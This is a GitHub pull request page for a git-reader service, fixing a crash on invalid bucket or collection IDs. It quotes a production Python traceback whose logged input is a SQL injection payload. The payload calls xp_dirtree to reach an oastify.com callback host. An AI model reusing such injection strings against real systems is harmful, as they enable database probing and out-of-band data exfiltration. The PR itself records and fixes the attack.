Skip to content

git-reader: RMST-561: prevents reaching the Git storage on bad bid/cid - #1640

Merged
leplatrem merged 2 commits into
mainfrom
fix-rmst-561
Oct 13, 2026
Merged

leplatrem merged 2 commits into
mainfrom
fix-rmst-561

Conversation

@leplatrem

Copy link
Copy Markdown
Contributor

Example from PROD:

"InvalidSpecError("refs/remotes/origin/v1/buckets/main;declare @q varchar(99);set @q='\\\\8t20q4gpiu620ph5ax9y4j0wqnwmkqde44s1ft3i.oasti'+'fy.com\\jix'; exec master.dbo.xp_dirtree @q;-- : the given reference name 'refs/remotes/origin/v1/buckets/main;declare @q varchar(99);set @q='\\\\8t20q4gpiu620ph5ax9y4j0wqnwmkqde44s1ft3i.oasti'+'fy.com\\jix'; exec master.dbo.xp_dirtree @q;-- ' is not valid")"
Uncaught exception:
  File "/app/.venv/lib/python3.14/site-packages/starlette/middleware/errors.py", line 164, in __call__
    await self.app(scope, receive, _send)
  File "/app/.venv/lib/python3.14/site-packages/starlette/middleware/base.py", line 193, in __call__
    response = await self.dispatch_func(request, call_next)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/app/app.py", line 641, in set_default_headers
    response = await call_next(request)
               ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/app/.venv/lib/python3.14/site-packages/starlette/middleware/base.py", line 168, in call_next
    raise app_exc from app_exc.__cause__ or app_exc.__context__
  File "/app/.venv/lib/python3.14/site-packages/starlette/middleware/base.py", line 144, in coro
    await self.app(scope, receive_or_disconnect, send_no_error)
  File "/app/.venv/lib/python3.14/site-packages/starlette/middleware/base.py", line 193, in __call__
    response = await self.dispatch_func(request, call_next)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/app/app.py", line 620, in requests_metrics
    response = await call_next(request)
               ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/app/.venv/lib/python3.14/site-packages/starlette/middleware/base.py", line 168, in call_next
    raise app_exc from app_exc.__cause__ or app_exc.__context__
  File "/app/.venv/lib/python3.14/site-packages/starlette/middleware/base.py", line 144, in coro
    await self.app(scope, receive_or_disconnect, send_no_error)
  File "/app/.venv/lib/python3.14/site-packages/dockerflow/fastapi/middleware.py", line 46, in __call__
    await self.app(scope, receive, send)
  File "/app/.venv/lib/python3.14/site-packages/dockerflow/fastapi/middleware.py", line 83, in __call__
    raise exc
  File "/app/.venv/lib/python3.14/site-packages/dockerflow/fastapi/middleware.py", line 80, in __call__
    await self.app(scope, receive, inner_send)
  File "/app/.venv/lib/python3.14/site-packages/starlette/middleware/exceptions.py", line 63, in __call__
    await wrap_app_handling_exceptions(self.app, conn)(scope, receive, send)
  File "/app/.venv/lib/python3.14/site-packages/starlette/_exception_handler.py", line 53, in wrapped_app
    raise exc
  File "/app/.venv/lib/python3.14/site-packages/starlette/_exception_handler.py", line 42, in wrapped_app
    await app(scope, receive, sender)
  File "/app/.venv/lib/python3.14/site-packages/fastapi/middleware/asyncexitstack.py", line 18, in __call__
    await self.app(scope, receive, send)
  File "/app/.venv/lib/python3.14/site-packages/starlette/routing.py", line 670, in __call__
    await self.middleware_stack(scope, receive, send)
  File "/app/.venv/lib/python3.14/site-packages/fastapi/routing.py", line 2734, in app
    await route.handle(scope, receive, send)
  File "/app/.venv/lib/python3.14/site-packages/fastapi/routing.py", line 1281, in handle
    await super().handle(scope, receive, send)
  File "/app/.venv/lib/python3.14/site-packages/starlette/routing.py", line 280, in handle
    await self.app(scope, receive, send)
  File "/app/.venv/lib/python3.14/site-packages/fastapi/routing.py", line 158, in app
    await wrap_app_handling_exceptions(app, request)(scope, receive, send)
  File "/app/.venv/lib/python3.14/site-packages/starlette/_exception_handler.py", line 53, in wrapped_app
    raise exc
  File "/app/.venv/lib/python3.14/site-packages/starlette/_exception_handler.py", line 42, in wrapped_app
    await app(scope, receive, sender)
  File "/app/.venv/lib/python3.14/site-packages/fastapi/routing.py", line 144, in app
    response = await f(request)
               ^^^^^^^^^^^^^^^^
  File "/app/.venv/lib/python3.14/site-packages/fastapi/routing.py", line 706, in app
    raw_response = await run_endpoint_function(
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    ...<3 lines>...
    )
    ^
  File "/app/.venv/lib/python3.14/site-packages/fastapi/routing.py", line 354, in run_endpoint_function
    return await run_in_threadpool(dependant.call, **values)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/app/.venv/lib/python3.14/site-packages/starlette/concurrency.py", line 34, in run_in_threadpool
    return await anyio.to_thread.run_sync(func)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/app/.venv/lib/python3.14/site-packages/anyio/to_thread.py", line 65, in run_sync
    return await get_async_backend().run_sync_in_worker_thread(
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        func, args, abandon_on_cancel=abandon_on_cancel, limiter=limiter
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    )
    ^
  File "/app/.venv/lib/python3.14/site-packages/anyio/_backends/_asyncio.py", line 2706, in run_sync_in_worker_thread
    return await future
           ^^^^^^^^^^^^
  File "/app/.venv/lib/python3.14/site-packages/anyio/_backends/_asyncio.py", line 1100, in run
    result = context.run(func, *args)
  File "/app/app.py", line 780, in collection_changeset
    timestamp, metadata, changes = git.get_collection_changeset(
                                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
        bid, cid, _since=_since
        ^^^^^^^^^^^^^^^^^^^^^^^
    )
    ^
  File "/app/app.py", line 277, in wrapper
    return func(*args, **kwargs)
  File "/app/app.py", line 362, in get_collection_changeset
    refobj = self.repo.lookup_reference(
        f"refs/remotes/{REMOTE_NAME}/{GIT_REF_PREFIX}buckets/{bid}"
    )
<class '_pygit2.InvalidSpecError'>
InvalidSpecError("refs/remotes/origin/v1/buckets/main;declare @q varchar(99);set @q='\\\\8t20q4gpiu620ph5ax9y4j0wqnwmkqde44s1ft3i.oasti'+'fy.com\\jix'; exec master.dbo.xp_dirtree @q;-- : the given reference name 'refs/remotes/origin/v1/buckets/main;declare @q varchar(99);set @q='\\\\8t20q4gpiu620ph5ax9y4j0wqnwmkqde44s1ft3i.oasti'+'fy.com\\jix'; exec master.dbo.xp_dirtree @q;-- ' is not valid")
"
}

@leplatrem
leplatrem requested a review from a team as a code owner October 8, 2026 16:28
@leplatrem leplatrem added the bug Something isn't working label Oct 8, 2026
@leplatrem
leplatrem merged commit c38a51e into main Oct 13, 2026
15 of 16 checks passed
@leplatrem
leplatrem deleted the fix-rmst-561 branch October 13, 2026 15:24

This branch was successfully deployed

1 active deployment
build — cf355e71 Deployed Oct 8, 2026 by leplatrem via git_reader_container #2226
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants